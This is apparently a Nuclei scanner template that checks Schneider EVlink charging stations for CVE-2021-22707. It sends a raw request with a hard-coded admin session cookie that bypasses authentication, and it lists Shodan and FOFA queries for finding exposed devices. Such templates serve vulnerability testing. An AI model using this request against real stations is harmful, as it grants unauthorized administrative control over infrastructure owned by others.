41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
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id: CVE-2021-22707
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info:
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name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
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author: ritikchaddha,dorkerdevil
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severity: critical
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description: |
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A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
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reference:
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- https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22707
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classification:
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cve-id: CVE-2021-22707
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metadata:
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max-request: 1
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verified: true
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shodan-query: title:"EVSE web interface"
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fofa-query: title="EVSE web interface"
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tags: cve,cve2021,evlink,auth-bypass
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http:
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- raw:
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- |
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GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin
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host-redirects: true
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max-redirects: 2
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '?worker=Cluster" name="cluster" id="id_cluster'
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- type: status
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status:
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- 200
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